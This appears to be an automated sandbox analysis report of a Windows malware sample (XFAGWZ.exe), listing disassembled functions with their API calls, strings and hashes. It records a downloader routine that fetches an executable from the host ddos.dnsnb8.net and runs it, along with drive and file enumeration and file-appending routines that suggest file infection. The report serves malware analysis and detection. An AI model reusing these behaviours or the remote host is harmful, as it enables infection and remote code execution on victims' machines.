
API ID:
String ID: Thread$Time
API String ID: 0-1133082108
Opcode ID: e155e63496b404203d63668b03ada18a6d0e0fe114a5b46653778fdff736e8dc
Instruction ID: 7903ac005415fdcb43de34e3eae8c2ac77d0b6a499f8567301179050eb8b321e
Opcode Fuzzy Hash: e155e63496b404203d63668b03ada18a6d0e0fe114a5b46653778fdff736e8dc
Instruction Fuzzy Hash: 7F418E71608B419FD721DF28C850BAAB7F4BF99308F104E1DE8D697651EB30E548CB92

Function 6CA66170 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 49COMMON

Download Yara Rule

APIs

___from_strstr_to_strchr.LIBCMT ref: 6CA66181
___from_strstr_to_strchr.LIBCMT ref: 6CA661A9

Strings

..\..\..\async.c, xrefs: 6CA661BC

Memory Dump Source

Source File: 00000000.00000002.2943336648.000000006C7A1000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C7A0000, based on PE: true

Associated: 00000000.00000002.2943319489.000000006C7A0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2943702385.000000006CCFA000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2943702385.000000006CD00000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2943883446.000000006CF6E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2943904565.000000006CF70000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2943918725.000000006CF71000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2943932489.000000006CF72000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2943946986.000000006CF77000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2944003529.000000006CF79000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2944022692.000000006CF91000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2944038142.000000006CF93000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2944052019.000000006CF97000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2944067263.000000006CF98000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2944088790.000000006CFB2000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2944088790.000000006CFB6000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2944124609.000000006CFBC000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2944124609.000000006CFBF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2944124609.000000006CFC9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2944124609.000000006CFD0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2944124609.000000006CFD8000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2944124609.000000006CFE0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2944124609.000000006D000000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2944124609.000000006D005000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2944124609.000000006D009000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2944368391.000000006D00F000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2944368391.000000006D021000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c7a0000_8VB4lVuZk3.jbxd

Similarity

API ID: ___from_strstr_to_strchr
String ID: ..\..\..\async.c
API String ID: 601868998-2050834500
Opcode ID: 474d5faa8167466e74126cbb55218c0e96d754a54ac53a853583fac825c4337e
Instruction ID: 702e48cb5e78148d4c23e79958245f422e247e47c1a9011874d10b4cd43549c2
Opcode Fuzzy Hash: 474d5faa8167466e74126cbb55218c0e96d754a54ac53a853583fac825c4337e
Instruction Fuzzy Hash: 65F0A432B453242BE7204698AC46B9673D89B45768F480221FA48EBB41E3A6A95543D1

Function 6CA65C30 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 30COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 6CA65C72

Strings

..\..\..\async.c, xrefs: 6CA65C7C
__redisShiftCallback(&ac->replies,NULL) == REDIS_ERR, xrefs: 6CA65C81

Memory Dump Source

Source File: 00000000.00000002.2943336648.000000006C7A1000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C7A0000, based on PE: true

Associated: 00000000.00000002.2943319489.000000006C7A0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2943702385.000000006CCFA000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2943702385.000000006CD00000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2943883446.000000006CF6E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2943904565.000000006CF70000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2943918725.000000006CF71000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2943932489.000000006CF72000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2943946986.000000006CF77000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2944003529.000000006CF79000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2944022692.000000006CF91000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2944038142.000000006CF93000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2944052019.000000006CF97000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2944067263.000000006CF98000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2944088790.000000006CFB2000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2944088790.000000006CFB6000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2944124609.000000006CFBC000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2944124609.000000006CFBF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2944124609.000000006CFC9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2944124609.000000006CFD0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2944124609.000000006CFD8000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2944124609.000000006CFE0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2944124609.000000006D000000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2944124609.000000006D005000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2944124609.000000006D009000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2944368391.000000006D00F000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2944368391.000000006D021000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c7a0000_8VB4lVuZk3.jbxd

Similarity

API ID: _free
String ID: ..\..\..\async.c$__redisShiftCallback(&ac->replies,NULL) == REDIS_ERR
API String ID: 269201875-3972503695
Opcode ID: 3c78569071251cd30f2410591de4680733e0e72c96eec0e3d9d0e70eb17b9c18
Instruction ID: e21d68264fb3761328a12fd2bde0918bfbf7072aa840df00b3a7c6bebc7987cb
Opcode Fuzzy Hash: 3c78569071251cd30f2410591de4680733e0e72c96eec0e3d9d0e70eb17b9c18
Instruction Fuzzy Hash: 39F03075601B10CBE7259F39C850BDBB7E0BF05318F54092ED2AB97E41D77164848B80

Analysis Process: XFAGWZ.exePID: 5356, Parent PID: 6464COMMON

Execution Graph

Execution Coverage:	32.5%
Dynamic/Decrypted Code Coverage:	10.4%
Signature Coverage:	10.4%
Total number of Nodes:	297
Total number of Limit Nodes:	12

Callgraph

Executed
Not Executed
Opacity -> Relevance
Disassembly available

Executed Functions

Function 006B29E2 Relevance: 31.6, APIs: 15, Strings: 3, Instructions: 128
stringfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

memset.MSVCRT ref: 006B2A02
wsprintfA.USER32 ref: 006B2A1A
memset.MSVCRT ref: 006B2A44
lstrlen.KERNEL32(?), ref: 006B2A54
lstrcpyn.KERNEL32(?,?,-00000001), ref: 006B2A6C
strrchr.MSVCRT ref: 006B2A7C
lstrcmpiA.KERNEL32(?,Documents and Settings), ref: 006B2A9F
lstrlen.KERNEL32(Documents and Settings), ref: 006B2AAE
memset.MSVCRT ref: 006B2AC6
memset.MSVCRT ref: 006B2ADA
FindFirstFileA.KERNEL32(?,?), ref: 006B2AEF
memset.MSVCRT ref: 006B2B13
lstrcmpiA.KERNEL32(?,?), ref: 006B2B42
FindNextFileA.KERNEL32(00000000,?,?,?,?), ref: 006B2B67
FindClose.KERNEL32(00000000), ref: 006B2B6E

Strings

%s*, xrefs: 006B2A14
C:\, xrefs: 006B2A2F
Documents and Settings, xrefs: 006B2A8D, 006B2A92, 006B2A9A, 006B2AAD

Memory Dump Source

Source File: 00000001.00000002.1891974235.00000000006B1000.00000020.00000001.01000000.00000004.sdmp, Offset: 006B0000, based on PE: true

Associated: 00000001.00000002.1891955036.00000000006B0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1891999307.00000000006B3000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1892015252.00000000006B4000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1892030158.00000000006B6000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6b0000_XFAGWZ.jbxd

Similarity

API ID: memset$Find$Filelstrcmpilstrlen$CloseFirstNextlstrcpynstrrchrwsprintf
String ID: %s*$C:\$Documents and Settings
API String ID: 2826467728-110786608
Opcode ID: 97d7b3334ff41bce223e054541c7bcbd99808288a7b919ee888f4f696a3e4224
Instruction ID: eab8ef9db6b2bb314f21e421140a64fd82302a2004b6fad02d84389c723a9b7b
Opcode Fuzzy Hash: 97d7b3334ff41bce223e054541c7bcbd99808288a7b919ee888f4f696a3e4224
Instruction Fuzzy Hash: 584184F250435AAFD760EBA0DC89DDB7BEDEF84315F040929F944C2211EA34D68887A6

Function 006B1718 Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 65
timeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSystemTimeAsFileTime.KERNEL32(?,?,00000104,C:\Users\user\AppData\Local\Temp\XFAGWZ.exe), ref: 006B1729
SHSetValueA.SHLWAPI(80000002,SOFTWARE\GTplus,Time,00000003,?,00000008), ref: 006B174C
SHGetValueA.SHLWAPI(80000002,SOFTWARE\GTplus,Time,?,?,00000001), ref: 006B177C
__aulldiv.LIBCMT ref: 006B1796
__aulldiv.LIBCMT ref: 006B17A8

Strings

Time, xrefs: 006B173D, 006B1766
SOFTWARE\GTplus, xrefs: 006B1742, 006B176B
C:\Users\user\AppData\Local\Temp\XFAGWZ.exe, xrefs: 006B1722

Memory Dump Source

Source File: 00000001.00000002.1891974235.00000000006B1000.00000020.00000001.01000000.00000004.sdmp, Offset: 006B0000, based on PE: true

Associated: 00000001.00000002.1891955036.00000000006B0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1891999307.00000000006B3000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1892015252.00000000006B4000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1892030158.00000000006B6000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6b0000_XFAGWZ.jbxd

Similarity

API ID: TimeValue__aulldiv$FileSystem
String ID: C:\Users\user\AppData\Local\Temp\XFAGWZ.exe$SOFTWARE\GTplus$Time
API String ID: 541852442-4030926073
Opcode ID: 82c415402c0ca1833f552f50dbe4bca44d8a99092c0df5f77a9b79de7e16dfc9
Instruction ID: db20720fc5b2d1d3941d76bbdc6482e6e0c2a38d0bd06064257a7a265a69880c
Opcode Fuzzy Hash: 82c415402c0ca1833f552f50dbe4bca44d8a99092c0df5f77a9b79de7e16dfc9
Instruction Fuzzy Hash: D61133F5A40219BBDB10DB94CC95FEF7FBEEB45B14F508125F901AB280DA719A848B60

Function 006B6076 Relevance: 11.1, APIs: 7, Instructions: 615
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNEL32(00000000,00001800,00001000,00000004), ref: 006B60BE
VirtualAlloc.KERNEL32(00000000,?,00001000,00000004,?,?,?), ref: 006B60DF
VirtualFree.KERNELBASE(?,00000000,00008000,?,?,?), ref: 006B6189
VirtualFree.KERNELBASE(?,00000000,00008000), ref: 006B61A5

Memory Dump Source

Source File: 00000001.00000002.1892030158.00000000006B6000.00000040.00000001.01000000.00000004.sdmp, Offset: 006B0000, based on PE: true

Associated: 00000001.00000002.1891955036.00000000006B0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1891974235.00000000006B1000.00000020.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1891999307.00000000006B3000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1892015252.00000000006B4000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6b0000_XFAGWZ.jbxd

Similarity

API ID: Virtual$AllocFree
String ID:
API String ID: 2087232378-0
Opcode ID: e664bc8b812f7fe76ad42bb26cb550cd44102089072788b6eb4abeacca83f810
Instruction ID: 03e06b6504c02f7b45657459d5562e3dd26fc331b31b6f88afe3ae45b81b7837
Opcode Fuzzy Hash: e664bc8b812f7fe76ad42bb26cb550cd44102089072788b6eb4abeacca83f810
Instruction Fuzzy Hash: 091257F25087849FDB328F24CC45BEA3BB2EF02310F1845ADE8858B293D778A991C755

Function 006B2B8C Relevance: 10.6, APIs: 7, Instructions: 74
threadstringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

memset.MSVCRT ref: 006B2BA6
GetLogicalDriveStringsA.KERNEL32(00000050,?), ref: 006B2BB4
GetDriveTypeA.KERNEL32(?), ref: 006B2BD3
CreateThread.KERNEL32(00000000,00000000,Function_00002B7D,?,00000000,00000000), ref: 006B2BEE
lstrlen.KERNEL32(?), ref: 006B2BFB
WaitForMultipleObjects.KERNEL32(?,?,00000001,000000FF), ref: 006B2C16
CreateThread.KERNEL32(00000000,00000000,006B2845,00000000,00000000,00000000), ref: 006B2C3A

Memory Dump Source

Source File: 00000001.00000002.1891974235.00000000006B1000.00000020.00000001.01000000.00000004.sdmp, Offset: 006B0000, based on PE: true

Associated: 00000001.00000002.1891955036.00000000006B0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1891999307.00000000006B3000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1892015252.00000000006B4000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1892030158.00000000006B6000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6b0000_XFAGWZ.jbxd

Similarity

API ID: CreateDriveThread$LogicalMultipleObjectsStringsTypeWaitlstrlenmemset
String ID:
API String ID: 1073171358-0
Opcode ID: 5cbf48b2db2921d8fe4b1173c43380b58cbb0bb7b61a908d7aefbe4075bfbbb4
Instruction ID: 546a42e4a09a75acae6d57e39bd01836fcf2a87d7a3654fd3addd21218c15e7f
Opcode Fuzzy Hash: 5cbf48b2db2921d8fe4b1173c43380b58cbb0bb7b61a908d7aefbe4075bfbbb4
Instruction Fuzzy Hash: FA21D5F194015EAFE720AF649C84DEF7BAFFF04348B150229F95292251DB308D86CB60

Function 006B1E6E Relevance: 44.1, APIs: 20, Strings: 5, Instructions: 380
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetFileAttributesA.KERNEL32(?,00000080,?,006B32B0,00000164,006B2986,?), ref: 006B1EB9
CreateFileA.KERNEL32(?,C0000000,00000000,00000000,00000003,00000080,00000000), ref: 006B1ECD
SetFilePointer.KERNEL32(000000FF,00000000,00000000,00000002,00000000,00000000), ref: 006B1EF3
CreateFileMappingA.KERNEL32(000000FF,00000000,00000004,00000000,00000000,00000000), ref: 006B1F07
MapViewOfFile.KERNEL32(00000000,000F001F,00000000,00000000,00000400), ref: 006B1F1D
FlushViewOfFile.KERNEL32(?,00000400,?,00000000,00000000,?,00000000,00000002), ref: 006B201E
memset.MSVCRT ref: 006B20D8
memset.MSVCRT ref: 006B20EA
memcpy.MSVCRT ref: 006B222D
UnmapViewOfFile.KERNEL32(?,?,00000002,?,?,?,?,00000000,00000000,?,00000000,00000002), ref: 006B2238
FindCloseChangeNotification.KERNEL32(?,?,?,?,00000000,00000000,?,00000000,00000002), ref: 006B224A
SetFilePointer.KERNEL32(000000FF,?,00000000,00000002,?,?,?,?,00000000,00000000,?,00000000,00000002), ref: 006B22C6
SetEndOfFile.KERNEL32(000000FF,?,?,?,00000000,00000000,?,00000000,00000002), ref: 006B22CB
SetFilePointer.KERNEL32(000000FF,?,00000000,00000002,?,?,?,00000000,00000000,?,00000000,00000002), ref: 006B22DD
WriteFile.KERNEL32(000000FF,006B4008,00000271,?,00000000,?,?,?,00000000,00000000,?,00000000,00000002), ref: 006B22F7
WriteFile.KERNEL32(000000FF,?,00000000,?,?,?,00000000,00000000,?,00000000,00000002), ref: 006B230D
FindCloseChangeNotification.KERNEL32(000000FF,000000FF,00000001,?,?,?,00000000,00000000,?,00000000,00000002), ref: 006B2322
UnmapViewOfFile.KERNEL32(?,?,006B32B0,00000164,006B2986,?), ref: 006B2340
FindCloseChangeNotification.KERNEL32(?,?,006B32B0,00000164,006B2986,?), ref: 006B234E
CloseHandle.KERNEL32(000000FF,?,006B32B0,00000164,006B2986,?), ref: 006B2359

Strings

5@k, xrefs: 006B2282
C@k, xrefs: 006B229E
m@k, xrefs: 006B1E8F, 006B225A
<@k, xrefs: 006B2290
.@k, xrefs: 006B2274

Memory Dump Source

Source File: 00000001.00000002.1891974235.00000000006B1000.00000020.00000001.01000000.00000004.sdmp, Offset: 006B0000, based on PE: true

Associated: 00000001.00000002.1891955036.00000000006B0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1891999307.00000000006B3000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1892015252.00000000006B4000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1892030158.00000000006B6000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6b0000_XFAGWZ.jbxd

Similarity

API ID: File$CloseView$ChangeFindNotificationPointer$CreateUnmapWritememset$AttributesFlushHandleMappingmemcpy
String ID: .@k$5@k$<@k$C@k$m@k
API String ID: 307705342-1431755015
Opcode ID: 8be9507370015cc43e3355804a70f31427cbdbef143b1cba93fb7ddc1001dae1
Instruction ID: b6169a4e1dce6599e02d053a8554204ab90d8d98b178bf5de31c2e060a1bff7c
Opcode Fuzzy Hash: 8be9507370015cc43e3355804a70f31427cbdbef143b1cba93fb7ddc1001dae1
Instruction Fuzzy Hash: 50F138B1900219EFCB20DFA8D890AEDBBF6FF08314F104529E519AB661D734AD91CF54

Function 006B1973 Relevance: 28.1, APIs: 12, Strings: 4, Instructions: 144
filesleepmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

PathFileExistsA.SHLWAPI(\Nk`Nk,00000000,C:\Users\user\AppData\Local\Temp\XFAGWZ.exe), ref: 006B1992
CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,00000000,00000000,00000000), ref: 006B19BA
Sleep.KERNEL32(00000064), ref: 006B19C6
wsprintfA.USER32 ref: 006B19EC
CopyFileA.KERNEL32(?,?,00000000), ref: 006B1A00
CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,00000000,00000000), ref: 006B1A1E
GetFileSize.KERNEL32(?,00000000), ref: 006B1A2C
VirtualAlloc.KERNEL32(00000000,00000000,00003000,00000004), ref: 006B1A46
ReadFile.KERNEL32(?,?,00000000,?,00000000), ref: 006B1A65
FindCloseChangeNotification.KERNEL32(000000FF), ref: 006B1A90
DeleteFileA.KERNEL32(?), ref: 006B1AA7
VirtualFree.KERNEL32(?,00000000,00008000), ref: 006B1AC1

Strings

C:\Users\user\AppData\Local\Temp\, xrefs: 006B19DB
%s%.8X.data, xrefs: 006B19E6
\Nk`Nk, xrefs: 006B1980
C:\Users\user\AppData\Local\Temp\XFAGWZ.exe, xrefs: 006B197C

Memory Dump Source

Source File: 00000001.00000002.1891974235.00000000006B1000.00000020.00000001.01000000.00000004.sdmp, Offset: 006B0000, based on PE: true

Associated: 00000001.00000002.1891955036.00000000006B0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1891999307.00000000006B3000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1892015252.00000000006B4000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1892030158.00000000006B6000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6b0000_XFAGWZ.jbxd

Similarity

API ID: File$CreateVirtual$AllocChangeCloseCopyDeleteExistsFindFreeNotificationPathReadSizeSleepwsprintf
String ID: %s%.8X.data$C:\Users\user\AppData\Local\Temp\$C:\Users\user\AppData\Local\Temp\XFAGWZ.exe$\Nk`Nk
API String ID: 2523042076-3118700175
Opcode ID: 4bff5099bd8aa423c7e632d60bb81601fd8436390d36c623ef83f990b3b2ea96
Instruction ID: d03cb41f5fe52ea9901fe57662d1d807eee2038d2e014c2dd5f370245bccb36a
Opcode Fuzzy Hash: 4bff5099bd8aa423c7e632d60bb81601fd8436390d36c623ef83f990b3b2ea96
Instruction Fuzzy Hash: 72513FF1A01259BFCB109F98CC94AEEBBBAEF06354F504569F515EA290D370AEC0CB50

Function 006B28B8 Relevance: 24.6, APIs: 9, Strings: 5, Instructions: 100
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

memset.MSVCRT ref: 006B28D3
wsprintfA.USER32 ref: 006B28F7
memset.MSVCRT ref: 006B2925
wsprintfA.USER32 ref: 006B2940

Part of subcall function 006B29E2: memset.MSVCRT ref: 006B2A02
Part of subcall function 006B29E2: wsprintfA.USER32 ref: 006B2A1A
Part of subcall function 006B29E2: memset.MSVCRT ref: 006B2A44
Part of subcall function 006B29E2: lstrlen.KERNEL32(?), ref: 006B2A54
Part of subcall function 006B29E2: lstrcpyn.KERNEL32(?,?,-00000001), ref: 006B2A6C
Part of subcall function 006B29E2: strrchr.MSVCRT ref: 006B2A7C
Part of subcall function 006B29E2: lstrcmpiA.KERNEL32(?,Documents and Settings), ref: 006B2A9F
Part of subcall function 006B29E2: lstrlen.KERNEL32(Documents and Settings), ref: 006B2AAE
Part of subcall function 006B29E2: memset.MSVCRT ref: 006B2AC6
Part of subcall function 006B29E2: memset.MSVCRT ref: 006B2ADA
Part of subcall function 006B29E2: FindFirstFileA.KERNEL32(?,?), ref: 006B2AEF
Part of subcall function 006B29E2: memset.MSVCRT ref: 006B2B13

strrchr.MSVCRT ref: 006B2959
lstrcmpiA.KERNEL32(00000001,exe), ref: 006B2974

Strings

rar, xrefs: 006B2988
%s%s, xrefs: 006B28F1
C:\Users\user\AppData\Local\Temp\, xrefs: 006B29B3
exe, xrefs: 006B296D
%s\, xrefs: 006B293A

Memory Dump Source

Source File: 00000001.00000002.1891974235.00000000006B1000.00000020.00000001.01000000.00000004.sdmp, Offset: 006B0000, based on PE: true

Associated: 00000001.00000002.1891955036.00000000006B0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1891999307.00000000006B3000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1892015252.00000000006B4000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1892030158.00000000006B6000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6b0000_XFAGWZ.jbxd

Similarity

API ID: memset$wsprintf$lstrcmpilstrlenstrrchr$FileFindFirstlstrcpyn
String ID: %s%s$%s\$C:\Users\user\AppData\Local\Temp\$exe$rar
API String ID: 3004273771-3007274656
Opcode ID: 89f09a5f3917293c5279b71d5985c50cab5f13121a4f4f024e6e5c22f2ff8be3
Instruction ID: 3692ce43e1e962deef3f3ba0bef824e9a01d48beec66de41720b276fa6e3b7c3
Opcode Fuzzy Hash: 89f09a5f3917293c5279b71d5985c50cab5f13121a4f4f024e6e5c22f2ff8be3
Instruction Fuzzy Hash: 08312CF1A8031EBBDB20B765DCA5FCA37EE9F15350F040456F549A3281E6B4EAC48B60

Function 006B1099 Relevance: 22.8, APIs: 7, Strings: 6, Instructions: 74
stringsleepprocessCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 006B185B: GetSystemTimeAsFileTime.KERNEL32(?,ddos.dnsnb8.net,75BF8400,http://%s:%d/%s/%s,?,?,?,006B1118), ref: 006B1867
Part of subcall function 006B185B: srand.MSVCRT ref: 006B1878
Part of subcall function 006B185B: rand.MSVCRT ref: 006B1880
Part of subcall function 006B185B: srand.MSVCRT ref: 006B1890
Part of subcall function 006B185B: rand.MSVCRT ref: 006B1894

WinExec.KERNEL32(?,00000005), ref: 006B10F1
lstrlen.KERNEL32(006B4748), ref: 006B10FA
wsprintfA.USER32 ref: 006B112A
wsprintfA.USER32 ref: 006B1143
URLDownloadToFileA.URLMON(00000000,?,?,00000000,00000000), ref: 006B115B
lstrlen.KERNEL32(ddos.dnsnb8.net,00000000,?,?,00000000,00000000), ref: 006B1169
Sleep.KERNEL32 ref: 006B1179

Strings

http://%s:%d/%s/%s, xrefs: 006B10C2, 006B1141
%s%.8X.exe, xrefs: 006B1124
C:\Users\user\AppData\Local\Temp\, xrefs: 006B1119
ddos.dnsnb8.net, xrefs: 006B10C8, 006B10CF, 006B1140, 006B1168
cj/, xrefs: 006B1135
HGk, xrefs: 006B112C

Memory Dump Source

Source File: 00000001.00000002.1891974235.00000000006B1000.00000020.00000001.01000000.00000004.sdmp, Offset: 006B0000, based on PE: true

Associated: 00000001.00000002.1891955036.00000000006B0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1891999307.00000000006B3000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1892015252.00000000006B4000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1892030158.00000000006B6000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6b0000_XFAGWZ.jbxd

Similarity

API ID: FileTimelstrlenrandsrandwsprintf$DownloadExecSleepSystem
String ID: %s%.8X.exe$C:\Users\user\AppData\Local\Temp\$HGk$cj/$ddos.dnsnb8.net$http://%s:%d/%s/%s
API String ID: 1280626985-2131944026
Opcode ID: 0b805e7c5b7e738057a4955c1f7830811e21b7974383521467c33d9109d69eff
Instruction ID: 2628a7659adbf04c194a114af175c7300a4c6188e927a8efb69d93f1ef9878fb
Opcode Fuzzy Hash: 0b805e7c5b7e738057a4955c1f7830811e21b7974383521467c33d9109d69eff
Instruction Fuzzy Hash: 1221AEF1900218BADB20EBA0DC59BEEBBBFAB12345F510195E600A6251DB749BC4CF60

Function 006B1638 Relevance: 17.6, APIs: 6, Strings: 4, Instructions: 70
stringsynchronizationthreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTempPathA.KERNEL32(00000104,C:\Users\user\AppData\Local\Temp\,?,00000005,00000000), ref: 006B164F
GetSystemDirectoryA.KERNEL32(C:\Windows\system32,00000104), ref: 006B165B
GetModuleFileNameA.KERNEL32(C:\Users\user\AppData\Local\Temp\XFAGWZ.exe,00000104), ref: 006B166E
CreateThread.KERNEL32(00000000,00000000,Function_00001099,00000000,00000000,00000000), ref: 006B16AC
WaitForSingleObject.KERNEL32(00000000,000000FF,00000000), ref: 006B16BD

Part of subcall function 006B139F: GetVersionExA.KERNEL32(?,?,00000104,C:\Users\user\AppData\Local\Temp\XFAGWZ.exe), ref: 006B13BC
Part of subcall function 006B139F: LookupPrivilegeValueA.ADVAPI32(00000000,SeDebugPrivilege,?), ref: 006B13DA
Part of subcall function 006B139F: GetCurrentProcessId.KERNEL32(-00000094,0000000C,0000000C,00000001), ref: 006B1448

lstrcpy.KERNEL32(?,C:\Users\user\AppData\Local\Temp\XFAGWZ.exe), ref: 006B16E5

Strings

C:\Users\user\AppData\Local\Temp\, xrefs: 006B1644
C:\Windows\system32, xrefs: 006B1656
Documents and Settings, xrefs: 006B1696
C:\Users\user\AppData\Local\Temp\XFAGWZ.exe, xrefs: 006B1662, 006B1667, 006B16DD

Memory Dump Source

Source File: 00000001.00000002.1891974235.00000000006B1000.00000020.00000001.01000000.00000004.sdmp, Offset: 006B0000, based on PE: true

Associated: 00000001.00000002.1891955036.00000000006B0000.00000002.00000001.01000000.00000004.sdmpDownload File
